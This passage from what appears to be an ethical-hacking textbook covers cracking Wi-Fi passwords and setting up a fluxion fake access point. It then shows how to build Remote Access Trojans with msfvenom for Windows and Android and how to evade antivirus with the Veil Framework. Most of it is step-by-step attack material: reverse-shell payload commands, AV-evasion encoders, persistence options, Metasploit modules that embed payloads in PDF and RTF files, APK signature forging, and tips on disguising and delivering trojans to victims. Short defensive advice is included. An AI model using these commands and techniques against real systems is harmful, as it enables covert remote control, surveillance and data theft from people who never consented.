to the next one. Once the attack has ended Wifite will move on to another type of
WPS pin attack.

The following screenshot demonstrates what the second WPS PIN attack
looks like:

If this attack is also not successful, press Ctrl + C to end the WPS attack and move11.
on to the next one. Once the second WPS PIN attack is stopped Wifite will
move on to the wpa handshake capture attack. This attack will send
deauthenication packets to hosts on the network. This is done to capture the TCP
handshake found during the authentication process.

The following screenshot demonstrates the wpa handshake capture
attack:
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The next step is to determine if we captured a handshake. To do this, press Ctrl +12.
C. If successful, you will see an indication that the handshake has been captured.

The following screenshot demonstrates what screen you should see when
you successfully capture the handshake:

Next, we will crack the password using a dictionary attack. To run this13.
command, type the following:

      Wifite --crack /root/Desktop/wordlist.txt --check
      /root/Desktop/ceh2cap.cap

The next lab will demonstrate how to use fluxion to create a fake access point. We are using
Kali Linux running in VMware and an Alpha adapter:

To install fluxion, type the following command:1.

       git clone https://github.com/PNPtutorials/fluxion.git

After you have finished cloning fluxion, navigate to the fluxion directory.2.
Make sure you are logged in as root user and type ls. You should see fluxion in3.
the root directory.
Type cd fluxion to navigate to the fluxion directory. From the fluxion4.
directory type ls. Within the fluxion directory you will see Installer.sh.
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Type ./installer.sh to complete the fluxion installation.5.

The following screenshot shows what you will see:

After fluxion is installed we need to run it. From the fluxion directory, type6.
./fluxion and then you will be brought to a screen to choose your language:
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Next, we will select option 1 to scan all channels:7.

When the scan begins, a window will appear displaying different access points8.
found in the area.
To close this window, press Ctrl + C:9.
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After the Wi-Fi monitor window is closed, we will be brought to another screen10.
displaying the targets with numbers next to them. Here we will select the target
to attack:
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Now we will select the type of attack. For this lab, we will be creating a fake11.
access point using Hostap by selecting 1 from the options menu:

Next, we will select the tool used to check to see if we have captured the12.
handshake. For this lab, we will use aircrack-ng by choosing 1 from the menu
options:
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Now we must choose the method of deauthenication. For this lab, we will choose13.
to deauth all hosts connected to the target network:
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After the deauthenication process has started any clients connected to the target network
will be kicked off and forced to reconnect to the network. Several windows will appear
showing this process. At this step the fake access point is activated and tricks the user to log
back on. The victim will usually not have noticed any difference, because the fake AP has
the same name as the real one. When the victim logs into the fake AP they will see a login
box to enter the Wi-Fi password. Once the user enters the password, fluxion saves it to a
.txt file in the root directory in the Handshakes folder, /root/Handshakes. Since the
victim entered the password, it is not necessary to crack it. This is perhaps the fastest way to
obtain a password for a wireless network.

Summary
Wi-Fi technology has ushered in a new era of network communication. Wireless networks
have made communication more convenient and flexible, but they have also put more
people at risk of being hacked. As we saw with the aircrack-ng lab, wireless passwords
(even using WPA2 encryption) can be broken rather easily. Besides the aircrack-ng suite, all
you need is a large password list and time. This chapter cleared up a common
misconception about Wi-Fi hacking or any kind of hacking. The common misconception
many people (with no ethical hacking experience) have is that hacking only takes a matter
of minutes to gain illegal access to a network. After reading this chapter you should now
realize the time it requires to hack a Wi-Fi password. It could take an hour or sometimes
weeks depending on the level of network resources and quality of wordlists. By reading
this chapter you will now be able to perform dictionary and brute-force attacks. Remember
that the main difference between a dictionary attack and a brute-force attack is that the
dictionary attack will try and match the most likely passwords from a pre-made list (aka
dictionary). The brute-force attack will attempt every possible password combination until
a match is found. Reading this chapter has also provided you with defense tips to protect
against Wi-Fi password attacks. The two most effective defense tips are having a strong
password policy (such as limiting the number of password entries a user can make within a
certain time) and choosing a strong password. It is better to have a longer password rather
than having one that has more complexity. Most complex passwords are not over 15
characters in length. It is easier to crack a password that uses special characters and
uppercase letters than it is to crack a password over 15 characters using no special symbols
or capital letters. Later in this book, we will explore more advanced methods of hacking
that will build off what you have learned in this chapter.



4
Creating a RAT Using

Msfvenom
In this chapter, we will focus on creating Remote Access Trojans (RATs) using msfvenom.
This chapter will explain what a RAT is and how hackers use it. We will go over basic terms
and the command-line syntax. We will also demonstrate the entire process of making a
Remote Access Trojan and how to deliver it to a victim machine. Methods of defense
against this type of attack will also be covered in this chapter. After reading this chapter,
you will have a fundamental understanding of how RATs are used by hackers and how best
to stop them.

Remote Access Trojans
First, we must understand what a Remote Access Trojan is. Some cyber security
professionals define Remote Access Trojans as "programs that provide the capability to allow
covert surveillance or the ability to gain unauthorized access to a victim PC". Remote Access
Trojans often mimic the behaviors of key logger applications by allowing the automated
collection of keystrokes, usernames, passwords, screenshots, browser histories, e-mails, chat
lots, and so on. RATs can cause great damage to networks. There are a few well-known
RATs that attack specific targets. The RAT known as KjW0rm was responsible for several
attacks on French TV stations. Havex is another well-known RAT, only this RAT attacks
industrial control systems (ICS). AlienSpy is designed to attack the Apple OS. Most RATs
are designed to operate with a command and control server.
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Later in the chapter, we will discuss how a RAT uses a command and control server (C&C
server) to be more effective. The C&C server is used by hackers to remotely communicate 
with infected devices or bots. The attacker can send commands and receive data collected
from the bots and use them to conduct DDoS attacks. Groups of bots (infected devices
controlled remotely) are called botnets. It is common practice for hackers to build large
botnets and rent them out to other hackers. Due to the rise of the Internet of things (IoT), it
has become extremely easy for hackers to build and sell botnets through dark marketplaces.
In later chapters, we will go into detail on how the IoT has impacted cyber security.

Hackers will often create malicious payloads and disguise them as an e-mail link. Fake e-
mail links may be the most common way RATs are used by hackers, but they are not the
only way. RATs can be hidden in .exe files and placed on a USB as a file named resume to
disguise intent. A hacker may ask a receptionist at an office to print out their resume for a
job interview they pretend to have. Once the receptionist opens the fake file named resume,
the payload is activated. Once the payload is activated, a hacker could then compromise the
network and set up backdoors for persistent access:
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Another way RATs can be used is by hiding them in fake web page buttons. For example,
when you log into a free Wi-Fi location and accept the terms and agreements, the payload
could be hidden in the I accept button. A hacker may also hide a RAT in a picture or video
attachment. A RAT can also be hidden within an icon. A popular method of infection that
hackers use is torrents. Many hackers will hide a RAT in a popular movie or song and post
it on a torrent for free download. Once the victim downloads and opens the infected file, the
victim's device calls out to the hacker. RATs are mostly used to set up more complex phases
of attack. A RAT allows the initial access. Once a hacker has access to their victim, the
hacker will begin to set up backdoors to the victim's device. This is done to preserve the
session that the RAT established. Unless a backdoor is set up, the session the RAT
establishes will end when the victim's device is restarted.

A backdoor isn't always necessary. Some hackers want to keep their footprint small. If a
hacker has done proper recon, then they will know at what time to attack a target. Once a
RAT is activated on a victim's device, a hacker can quickly download or upload any files
found on the victim's device. The less time a hacker is on a victim's network, the less likely
they are to be discovered. Some hackers will utilize RATs for more surgical strikes, as
opposed to using them to create botnets, which require backdoors.

One of the more common payloads found in RATs is the reverse TCP payload. This payload
establishes a reverse TCP connection that allows a hacker to take control of a command
terminal on a victim's device. Once a hacker has access to the command terminal on a
victim's machine, they can choose various malicious options to enhance the attack.
Depending on the hacker's objective, they could download entire directories or single files.
They can also upload any file they wish. For example, a hacker could easily upload
additional payloads (such as a crypto virus) for more a devastating attack.

It is important for any cyber security professional to have a fundamental understanding of
how RATs work. RATs are delivered in many ways. Being aware of the different attack
vectors a RAT can use will help create a better network defense. msfvenom uses highly
effective evasion methods. According to some professionals in the cyber security field, "in
the past, folks in the penetration testing community have been overly focused on using shellcode
encoding as a potential detection evasion technique. Using either a unique template EXE, or
something that is a legitimate O/S binary along with potentially leveraging different PE/COFF
output formats yields opportunities for evasion." msfvenom is highly supported, and is routinely
updated with the latest evasion methods. In this chapter, we will explore a way to encode
our payload to evade antivirus programs in Windows.
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We will now create a Remote Access Trojan using msfvenom. Before we get started, it is a
good idea to check out the Help options to get familiar with the syntax. Open your terminal
(CTRL + ALT + T) and type msfvenom -h to view the available options for this tool.
Remember, you will want to be using Kali Linux as your OS. Look at the screenshot of the
Help options for reference. As you can see, there are a lot of different tools to use. For
example, the -l command will bring up access to an extensive list of payloads, encoders,
and other options. You can also get lists of available platforms that can be exploited, such as
Windows 7 or Linux Mint. It is important that you get familiar with these options so that
you can efficiently use msfvenom:

The following terms are going to be brought up quite often. It is important that you
remember them, and understand what they mean:

Exploit: An exploit is how an attacker takes advantage of a flaw within a system,
application, or service.
Payload: A payload is malicious code that we want the remote system to execute.
Shellcode: A shellcode is a set of instructions used as a payload when
exploitation occurs.
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Modules: Modules are software packages that can launch our exploits, scan
remote systems, and enumerate remote system.
Listener (LHOST): A listener is a component in Metasploit that waits for an
incoming connection of any sort after the remote system is exploited. This will be
your host IP address.
Receiver (RHOST): The receiver is the compromised system that's waiting for
instructions from the LHOST once that system has been exploited. This will be
the target's IP address.

msfvenom is a combination of msfpayload and msfencode, making it a single framework.
This is a powerful tool that can be used to great effect. In this chapter, I want to demonstrate
how to create an exploit generated by msfvenom in combination with a meterpreter
payload. I will be using the shikata_ga_nai encoder to encode the payload. To get a list
of available payloads, type --payload-options after you set up your payload. When
selecting your payload, it is important to have as much information as possible about your
target. For example, if your target is running a Windows OS, you can filter out the Mac and
Linux payloads to make searches more efficient. When you select your payload, you must
set a few options. The first option will be the name of the payload. In this example, we will
be selecting the payload windows/meterpreter/reverse_tcp. The second option will
require us to set the module we will be using. We will use the payload module because we
are constructing the payload. Next, we will select the platform we want to attack. For this
lab, we will select Windows. After that, we will set the architecture. For Windows, this will
be either x86 or x64. We will go with x86 for the architecture in this lab. The rest of the
options will be set by default, although they can be changed if necessary. For this example,
we will leave them as their default settings:

First, we create an executable shellcode using a (predeveloped) payload1.
consisting of several tasks, such as setting the listening host IP, port number, the
target's system architecture, the target's operating system, and the exit technique.
Many hackers use clean-up scripts to cover their tracks. The clean-up script
deletes any trace that might show that the hacker was there.
Set up and run the handler/listener.2.
Run the shellcode3.
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Perform specific tasks/attacks with meterpreter:4.

The next thing we need to do is set up the LHOST and LPORT. The LHOST (local host) is the
listening host that the victim's device will call out to once the RAT is activated. To set the
LHOST, we need to find out our IP address. Type ifconfig to confirm your IP address. My
IP address is 192.168.0.18, so I set the LHOST to that IP. Once the LHOST has been set, I
need to set the LPORT. The LPORT (local port) is the listening port that the reverse TCP
session will be established on. In this lab, I will set the LPORT to port 4444. By setting the
LPORT, I will receive the connection from the victim on port 4444 if the exploit is activated.
The most important part of this step is getting the correct IP for the LHOST. Make sure that
you set the LHOST to your attacking device and not the victim's device.
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The LPORT can be anything you want. When the RAT's payload is activated, the victim's
device will call out to whatever IP the LHOST is set to. In later chapters, we will discuss how
more advanced hackers set the LHOST to a command and control server's IP. The main
purpose of a command and control server is to send out commands and receive data from
RAT-infected devices (zombie machines). This is how most botnets are managed. RATs can
be used for both large and small operations:

Let's examine the payload syntax together:

Msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5-b
'\x00' LHOST=192.168.0.18 LPORT=4444 -f exe > ABC.exe

Typing the preceding command will create a payload to exploit a Windows OS. Once this
payload is activated, it will establish a reverse TCP connection and create a session on the
specified LPORT. The meterpreter/reverse_tcp part of the command specifies the
payload. The -e x86/shikata_ga_nai specifies the type of encoder we will use to evade
antivirus protection. Shikakta_ga_nai is most effective against Windows 7. The next part
of the command, -i 5-b '\x00', removes bad characters from the payload that could
reveal it to an intrusion detection system. Many payloads are detected by their file signature
or hex signature. The reason why zero-day exploits are so effective is because their hex
signature isn't recorded in any IDS database until it has been used in the wild. An antivirus
program is only effective if is regularly updated with the latest known malicious file or hex
signatures. Even then, a good zero-day payload will render any antivirus program useless.
In later topics, we will demonstrate how to create a zero-day reverse_tcp payload that
requires fewer than 50 lines of code. The next part of the command LHOST=192.168.0.18
sets the local host as a listener. When the RAT is activated, the infected device will call out
to the IP set for the LHOST. The next part of the command LPORT=4444 tells the infected
device which port the session will be established on. The -f exe > part of the command
specifies the type of file extension you want your payload disguised as. It doesn't have to be
an .exe, but for this lab we will make the payload an executable file.
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The final part of the command ABC.exe simply names the file. This could be anything you
want. Some hackers will use social engineering to name the file something that will fool the
user into clicking on it. Fake Adobe Flash installers are a popular choice for hackers to
disguise their payloads. Tools such as the social engineering toolkit (SET) are used by
hackers to deliver their payloads to unsuspecting victims:

Social engineering toolkits allow hackers to enhance the effectiveness of their attacks. Many
hackers create RATs for use in phishing e-mail campaigns. A toolkit such as SET is perfect
for creating phishing campaigns, but also allows for multiple attack vectors.

Now let's follow these steps to send your executable to a victim device:

Go to Places | Home Folder.1.
Click on usr | share | set.2.
Right-click abc.exe and go to Properties | Permissions Tab.3.
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Click the check mark. This enables the file to be executed as a program (optional:4.
renaming the file to something like updates.exe and assigning the icon of a
well-recognized program is a common method for attackers to disguise their
payload).
Transfer to the target computer using a USB, e-mail, or some other ingenious5.
method.
When the target executes the .exe, the meterpreter session will be opened:6.
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As you can see on the preceding screenshot, we generated the exploit on a desktop folder
and named it abc.exe.

The next step is to set up the listener on our attacker device by using multi/handler. To use
the multi/handler module, we must access msfconsole. Bring up a terminal and type
msfconsole.

Now we want to use the meterpreter reverse_tcp payload, so we need to set it up:

Here is some information for multi/handler commands:
use exploit/multi/handler: This command handles incoming
connections.
set payload windows/meterpreter/reverse_tcp: This sets the
payload to be used. For this lab we are using the reverse_tcp payload.
show options: This command shows available options to set.



Creating a RAT Using Msfvenom

[ 94 ]

Now we need to set up the LHOST and LPORT and make sure they're the same ones you set
up when creating the payload. It is important to use the correct IP and port that you set up
earlier for the attacking device. The main purpose of the multi-handler is to facilitate
communication between the attacker's device and the victim's device. The multi-handler is
also used to manage multiple sessions between an attacker and multiple victims:
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Make sure that you transfer the abc.exe file with the payload onto the victim computer the
best way you can. Many hackers will construct a socially engineered e-mail and hide the
payload in a link. Next, type run or exploit on the listener or attacker machine and the 
session will begin. Then activate the payload on the victim device (double-click on the
abc.exe file on your victim's machine):

Here is a breakdown of some common options found using the multi-handler module:

Check: Determines whether the target is vulnerable to an attack
exploit: Executes the module or exploit and attacks the target (you can also use
run)
exploit -j: Runs the exploit under the context of the job
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exploit -z: Does not interact with the session after successful exploitation
exploit -e encoder: Specifies the payload encoder to be used (for example,
exploit -e shikata_ga_nai)
exploit -h: Displays help for the exploit command:

When you send the exploit to the victim and the victim executes it, you will see this:



Creating a RAT Using Msfvenom

[ 97 ]

For multiple or more intricate options you can also use any of the following commands and
specifications:

-A: Automatically start a matching multi/handler to connect to the agent
-U: Automatically start the agent when the user logs on
-X: Automatically start the agent when the system boots
-i: The interval in seconds between each connection attempt
-p: The port on the remote host where Metasploit is listening
-r: The IP of the system running Metasploit and listening for the return
connection

The following is an example of using these options:
When running multiple sessions, it can be helpful to know these options:

msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set AutoRunScript persistence -r <IP of target> -p
4443 -A -X -U -i 30
msf exploit(handler) > exploit -j -z

To list the available sessions, enter the following:

sessions -i

To list all available sessions and show verbose fields, such as which vulnerability was used
when exploiting the system, enter the following:

sessions -i -v

To run a specific meterpreter script on all Meterpreter live sessions, enter the following:

sessions -s script

To kill all live sessions, enter the following:

sessions -K

To execute a command on all live Meterpreter sessions, enter the following:

sessions -c cmd
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Type ? on the terminal to see the options available:

Type sysinfo to make sure you can get information from the victim PC:

Congratulations! You successfully infiltrated the target system and enumerated the system's
info!
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Ways to disguise your RAT though
Metasploit
You can bind a PDF file or MS Word document with your payload to socially-engineer
users to click on your RAT. Therefore, you should never click on any random file from your
e-mail unless you can confirm it is from a trusted source. Some phishing tactics to look out
for are e-mails that include files that you need to download and run. They can be fake
employers, pretending to offer you a job with a PDF of the schedule or an attached contract.
Be cautious of these phishing scams as they are one of the most effective ways for an
attacker to get into your system.

PDF-embedded RAT
The following command-lines will show how to embed a backdoor connection in an
innocent-looking PDF:

msf > search type:exploit platform:windows adobe pdf
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
msf > exploit (adobe_pdf_embedded_exe) > info
msf > exploit (adobe_pdf_embedded_exe) > set payload
windows/meterpreter/reverse_tcp
msf > exploit (adobe_pdf_embedded_exe) > show options
msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME chapter4.pdf
msf > exploit (adobe_pdf_embedded_exe) > set FILENAME chapter4.pdf
msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.100.1
msf > exploit (adobe_pdf_embedded_exe) > show options
msf > exploit (adobe_pdf_embedded_exe) > exploit

MS Word-embedded RAT
The following command-lines will show how to exploit MS Word to embed a listener on a
victim's computer:

msf >use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit( ms10_087_rtf_pfragments_bof) > set payload
windows/meterpreter/reverse_tcp
msf >show options
msf >set FILENAME workschedule.rtf
msf> set LHOST 192.168.1.100
msf > exploit
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Android RAT
We will now create a RAT and hide it within a fake application. This exploit is designed for
Android phones. We will be using msfvenom to create this payload. This process will be
very similar to the payload we made earlier to exploit Windows 7. In recent years, incidents
of mobile phone hacking have been growing at a tremendous rate. This lab will show you
how hackers create fake apps that can be played in the Playstore. Once the fake app is
opened, the hacker will have remote access to the victim's phone. Once a hacker has control,
they can turn on the camera, dump all text messages, dump all call logs, obtain the
geolocation of the victim's phone, turn on the microphone and start recording, and more.
Hackers take advantage of the lack of security found within the Playstore. It is much harder
to do this in the Apple Playstore, although not impossible.

The key to making this hack work is the forging of digital certificates that make the fake
application seem legitimate. The digital certificate forging tool we will be using is called
SignApk. The SignApk tool allows the hacker to forge a digital certificate so that the fake
app can be flashed into a victim's Android device upon download. SignApk uses an
Android test key to automatically sign an apk file. The private and public keys will be
found in a .jar file when you download the SignApk package.

There are many ways to deliver a payload such as this to a phone. One common way is to
send the fake app in an e-mail link disguised as something routine and harmless. A hacker
might also send it through a text message. Although this is harder to do on phones made
after 2016, it is still very possible. A hacker can even spoof their number to make it look like
the malicious text is coming from a trusted source. It is important to be cautious when
downloading applications from an app store. You should read the reviews of other users
first and do a little research about the app before downloading it. It may be time-consuming
and annoying, but it could prevent you from being hacked. Now that we have a little
understanding about the SignApk tool and delivery method, we can begin the process of
making the Android RAT.
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The first step we want to take is to download SignApk from GitHub
(https://github.com/appium/sign). Once that package has been downloaded, we will 
move it to the desktop for easier access. After that, we will open a terminal and
type msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.22
LPORT=7777 R > /root/Desktop/androidrat.apk:

After the payload is created, we will forge the digital certificate with SignApk. Drag the
payload you just created and drop it into the SignApk folder on your desktop. To forge the
certificate, we need to change directories. Type the following cd
/root/Desktop/SignApk. Once you have done this, swap the directory type ls for a list
of files found within the folder. The files you see within the SignApk folder are the tools
that will forge the digital certificate, making the payload appear to be a legitimate Android
app.

https://github.com/appium/sign
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Once you are in the SignApk directory, type java -jar signapk.jar
certificate.pem key.pk8 androidrat.apk venomDrat.apk:

Now, instead of putting this fake app into an app store, we will instead (for moral reasons)
send it over the local Apache server so that a simulated victim can download it. In order to
do this, we will need to drag the newly forged apk file (venomDrat.apk) to our var>www>
HTML folder. Once the forged apk file is in the HTML folder, bring up a terminal and type
service Apache2 start. This will restart the server and make the forged apk file available for
download. Once this is done, you will need to set up the multi-handler as we did in the
previous lab. Bring up a terminal and type msfconsole. Once in msfconsole, type use
exploit/multi/handler to bring up the multi-handler module. Once inside the multi-
handler, set the payload as msfvenom -p android/meterpreter/reverse_tcp, then set
the LHOST as 192.168.0.22, then the LPORT as 7777, and finally type run. On the victim's
device, open a browser and type the IP of the attacker and the name of the apk file. In this
case, it will be 192.168.0.22/venomDrat.apk.
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Once the victim types this in, a download window will appear asking permission to
download this Android app. Once the victim grants this permission, the apk file is
downloaded and ready to be opened. Once opened, the fake app will establish a session
with the attacker. If successful, the attacker will see a menu for attack options that looks like
this:
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Your defence
Today, Trojans can be spread by browser drive-bys, where the program is
downloaded in the background when you simply visit a web site that's rigged.
A shellcode can run a Trojan that downloads additional payload code over HTTP
through various forms of backdoors, bots, spyware, and other Trojan programs.
Phishing e-mails are used for manipulating users to visit infected websites, click
on malicious links (activating the payload), or entering credentials for harvesting.
Black hat hackers can also exploit security weaknesses on sites and then
piggyback their Trojans onto legitimate software to be downloaded by trusting
consumers. Cyber criminals never stop developing new methods to steal
identities and commit fraud.
There are steps consumers can take to protect themselves from becoming a victim
of cybercrime. These steps will help filter out most attacks methods found on the
web, and prevent you from being compromised.
Use security on your mobile device. RATs can arrive as an e-mail attachment, a
file, or a program downloaded from the Internet, or they can be uploaded along
with other data from a desktop. Make sure that you back up data regularly. Store
it on an external drive or someplace you trust. If you fall victim to an attack, you
can at least recover your photos, music, movies, and personal information.
Protect your computer with strong security software and make sure to keep it up-
to-date.
There are plenty of antivirus, antispyware, firewall, antispam, and antiphishing
options, effective at safeguarding against most attacks on the web. There are free
and paid versions of security software tools available.
Choose a well-trusted Internet service provider (ISP) that enforces strong
antispam and anti-phishing procedures. Some may even provide backup support.
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Enable automatic Windows updates and install patches from other software
manufacturers as soon as they are distributed. A fully patched computer behind a
firewall is the best defense against Trojan and spyware installation:

Use caution when opening attachments. Configure your antivirus software to
automatically scan all e-mail and instant message attachments.
Make sure your e-mail program doesn't automatically open attachments and
make sure that the preview pane is turned off.
Never open unsolicited business e-mails, or attachments that you're not
expecting, even from people you may know.
Be careful in peer-to-peer (P2P) file-sharing. Trojans can be bound with file-
sharing programs waiting to be downloaded.
Use precaution when downloading shared files that you use in e-mail and IM
communication.
Avoid files with the extensions .exe, .scr, .lnk, .bat, .vbs, .dll, .bin, and
.cmd. If you have a Gmail account and/or antivirus software and a good firewall,
then these will protect your system from malicious files.
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Update your browser to ensure that it is also fully updated and utilizes the latest
technologies to identify and filter out phishing sites that can install Trojans.
Configure your IM application. Make sure it does not start automatically when
starting your computer.
Turn off your computer and disconnect the modem line when you're not using it.
Beware of phishing schemes, most commonly found in your spam.
Make sure that a website is legitimate. You can check the validity of websites
from their addresses (URLs) by using a WHOIS search engine, such as
www.DNSstuff.com.

Summary
This chapter focused on creating RATs and using msfvenom. It explained what a RAT is
and how hackers use it. We demonstrated the process of making a Remote Access Trojan. In
the end, we gained an understanding of how RATs are used by hackers.

In Chapter 5, Veil Framework, we will be working with the Veil Framework.
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5
Veil Framework

In this chapter, we will be working with the Veil Framework. This framework contains
multiple tools to create payloads, hide payloads within executables or PDFs, deliver
payloads, gather information, and allow for post-exploitation. Many hackers will use Veil
because of how effective it is at encoding and delivering payloads. Remaining undetected
by antivirus (AV) or Intrusion Detection Systems (IDS) is a top priority for any hacker.
This chapter will discuss how Veil is able to avoid detection by AV/IDS and how to best use
the other Veil tools to maximum effect. This chapter will also contain a lab that will
demonstrate how to create an encrypted payload using Veil-Evasion. After reading this
chapter, you will have a solid understanding of the Veil Framework. You will also
familiarize yourself with other powerful Veil tools such as Veil-Pillage, Veil-
Ordnance, and Veil-PowerTools.

Veil-Evasion
The first tool we will use is called Veil-Evasion. What is Veil-Evasion and how does it
work? Most devices that have some kind of antivirus software will be able to detect basic
Meterpreter binaries. These binaries are found within the payload. If you remember our lab
in Chapter 4, Creating a RAT Using Msfvenom, we created a RAT using msfvenom and
Meterpreter. When we created that RAT we used a popular Metasploit encoder named
Shikata_ga_nai. This encoder was used to bypass antivirus protection in the Windows
OS. Due to Shikata's popularity, most AVs solutions have recorded Shikata's signature in
their databases. This results in Shikata being detected and stopped immediately by most
AVs. A hacker may use Veil-Evasion to get around this.
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Veil-Evasion uses a number of different encoding methods to change file signatures to
avoid detection. When Veil-Evasion manipulates the file signature, AV programs can no
longer cross-reference it with their database of known exploits/vulnerabilities. By using
Veil-Evasion, a hacker instantly has a huge advantage over those trying to protect the
network from attack. Regular AV solutions are rendered useless.

Veil-Evasion comes with 50 payloads (and growing) written in several programming
languages. These languages are C, C#, PowerShell, and Python. One of the most popular
languages hackers use in Veil-Evasion is Python. Python is one of the few languages
found within Veil-Evasion that supports Meterpreter reverse HTTPS connections. This is
important because it helps the shell (command-line) stay undetected. Meterpreter reverse
HTTPS does this by using SSL to encrypt everything being transmitted by the shell.
Another benefit to using Python is the ability to create contained payloads. Contained
payloads already contain the Meterpreter code required to establish the reverse HTTPS
connection. Normally Meterpreter would stage the first part of the code and then require a
download for the rest of the code to run. This is mostly seen in phishing e-mails asking the
victim to click on a link or download an attachment. By activating the link or attachment,
the victim downloads the rest of the Meterpreter code, causing it to run. Contained
payloads are often more effective. Using the Python language allows Veil-Evasion to
create malicious executables using Wine (used to compile the .exe). It uses py2exe and/or
pyinstaller to create the .exe. You can enhance the encoding of the payload by using
pyherion. Using pyherion will cause Veil to encrypt the payload using AES random key
encryption. By doing this a hacker can randomize the original source code of the payload.
This will make detection by AV or IDS significantly harder. Veil-Evasion is a highly
versatile tool that can allow a hacker to remain undetected during and after an attack.
Veil-Evasion is also highly supported and updated constantly, which makes it even more
effective against AV/IDS.

Veil-Pillage
Another powerful tool found within the Veil Framework is called Veil-Pillage. What is
Veil-Pillage and how does it work? Veil-Pillage is a post-exploitation
framework consisting of multiple modules. It was released at the 2014 Defcon and has since
attracted lots of praise for its effectiveness. In the following screenshot you can see some of
the modules found within Veil-Pillage:
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Veil-Pillage has similar commands and interface are similar to those in the Metasploit
msfconsole. This makes it easier to learn.

To bring up Veil-Evasion, follow these steps:

Type ls and then cd Veil-Evasion.1.
Next type ls and then type ./Veil-Evasion.py. In order for Veil-Evasion to2.
start you must change directories to the Veil-Evasion folder and execute the
tool from there:



Veil Framework

[ 110 ]

After starting Veil-Evasion you will see a menu screen, which will give you a3.
number of options. From these options, we will select list:

The list option will bring up a list of 50 payloads that can be used.

For this lab, we will select the payload ruby/meterpreter/rev_tcp, which is4.
number 48 on the list.



Veil Framework

[ 111 ]

To use the payload, type use 48. After the payload has been selected we need to5.
set the LHOST and LPORT:

This is the same process that we used in Chapter 4, Creating a RAT Using
Msfvenom, using msfvenom. The LHOST will be the IP of the attacker and
the LPORT is the port the payload will communicate on. If you need to find
your IP, type ifconfig. Once you have your IP we can begin to compile
the payload into an executable.
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After you set the LHOST and LPORT you can generate the payload. The option to6.
compile the payload into an executable is set to Y (for yes) by default:
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Next, we will be asked to name the executable we just created. For this lab, I7.
named it .exe ethicalhaks (you can name it anything you want). The
executable we created can be found in /user/share/veil-
output/compiled/ethicalhaks.exe. The file path for the handler will also be 
displayed and found in /usr/share/veil-
output/handlers/ethicalhaks_handler.rc:

Now we will create an encrypted payload to evade antivirus protection. For this8.
lab, we will be selecting a different payload. Open Veil-Evasion and type list
again like we did earlier.
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From the list, we will select python/shellcode_inject/aes_encrypt. This9.
payload will be number 35 on the list. We can also get information about the
payload we selected by typing info 35. As you can see from the following
screenshot, we get basic information about the payload:

Notice that our payload has a rating of excellent. This means the payload will
most likely be effective when executed on a victim device. This payload uses
VirtualAlloc injection in combination with AES encryption. The payload
uses AES encryption to hide itself from antivirus protection.

After we type use 35 we will be brought to a menu to set the options of the10.
payload. For this lab, we will keep the default setting of the payload in place.
Now we will type generate.
The next menu will ask what type of shellcode we want to use. We will select11.
number 1 for the default msfvenom shellcode.
Now we will select a second payload by pressing Enter and using the default12.
payload, windows/meterpreter/reverse_tcp. We then must set the LHOST.
This menu gives you the option of pressing Tab to acquire the IP of the device
you are using as the LHOST.
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Next, we set the LPORT 4444. For this lab, we will not be setting any additional13.
msfvenom options. Type enter and the shellcode will start to generate:

After the payload is generated we will be asked to name it. For this lab, I will14.
name it ethicalhaks2 (you can name it whatever you like).
Next, we will select how to compile the payload into an executable. We will select15.
number 1 for the Pyinstaller, which is the default option. Our payload has
been compiled into an .exe and is ready to use.

The new code we generated, with the Meterpreter embedded within it, will get past most
antivirus protection.

How do hackers hide their attack?
Now there is no real defense against zero day attacks. These types of attack are newly coded
exploits that haven't been discovered yet and analyzed, and thus haven't yet been added to
the database of viruses or malware, from which antivirus software would then create a
patch for use as the basis for an update.
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A basic way to understand how antivirus software works is simple. Experienced hackers
can create their own malware and use it to devastating effect. Malware is always written in
codes. Whether that string of codes is a simple one-line exploit or runs to thousands of lines,
it will always be unique by virtue of its signature.

What we mean by that is, within malware code there is a unique pattern that can be
uncovered.

For example, let's look at the plain text word evade to dissect and analyze it. The word
evade as you currently see it, is in text format which needs to be converted. In hexadecimal,
the word evade turns into 65 76 61 64 65 and then 01100101 01110110 01100001
01100100 01100101 in binary. The numerical representation was founded and turned into
a standard by the American Standard Code for Information Interchange (ASCII). Now
let's just pretend evade is the only world in the dictionary where the letter a is one letter
apart from the second e. That makes evade unique and easy to locate in the dictionary. The
rule hunts for any hexadecimal filtered based on unique characteristics.

Here you can see what the conversions look like for the word evade:

ASCII = evade

Hexadecimal = 65 76 61 64 65

Binary = 01100101 01110110 01100001 01100100 01100101

Rule: 65 (skip 8 bits) 61 (skip 8 bits) 65

Now let's imagine the word evade as a coded virus and the dictionary is the antivirus
signature database. We just analyzed and concluded that this virus is unique. This is
because none of the virus rules were activated in the AV database. We discovered the
signature (unique characteristic) of the new virus and will now create a rule for it. After we
create the rule, we can add it to the AV virus signature database. The new virus can now be
detected by the AV software. That's basically how an antivirus works, by first discovering
malware that is not already in the database, analyzing it to find a unique characteristic to
identify it, and then pushing the necessary patch/update to detect and quarantine it.
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Hackers, however, can hide the signatures of their payload in numerous ways. One of these
is by using encoders that iterate the code and obscuring the original pattern that can be
picked up and detected. Without going into details, a well-known encoder that we have
previously used is the Shakita_ga_nai. Because it's been used quite often and has been
around for quite some time, this encoder may not be so effective against updated antivirus
software.

Intrusion with a PDF
This is a popular and effective method of attack especially when combined with a well
thought out social engineering scheme.

Portable Document Format (PDF) is a file format used to display documents such as
brochures, contracts, forms, applications, eBooks, and so on. When you pair a RAT and an
embedded PDF using a social infiltration technique with a little creativity to bypass
security, it can compromise that system or even the whole business network. Affecting data
loss, fraud, and cost of repairs on a computer or networks that failed to regularly update,
upgrade, patch it, or lacking any form of reinforced security.

Let's look at how we can create one ourselves, so you can get a better understanding of how
it works. Go ahead and start up Metasploit:

If you're curious about what kind of exploits there are in the Metasploit database1.
or want to search for a specific type such as the one we're about to explore, you
can use search:

      msf > search type:exploit platform:windows adobe pdf

You should see a list of various exploits. Take a good look and you should find2.
one for PDF; then type the following in the payload:

      msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
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After you have selected which one you want to use, you can find more details on3.
that particular exploit with the following snippet:

      msf > exploit (adobe_pdf_embedded_exe) > info

This will provide you with a description and how to set the options for creating4.
this malicious PDF:

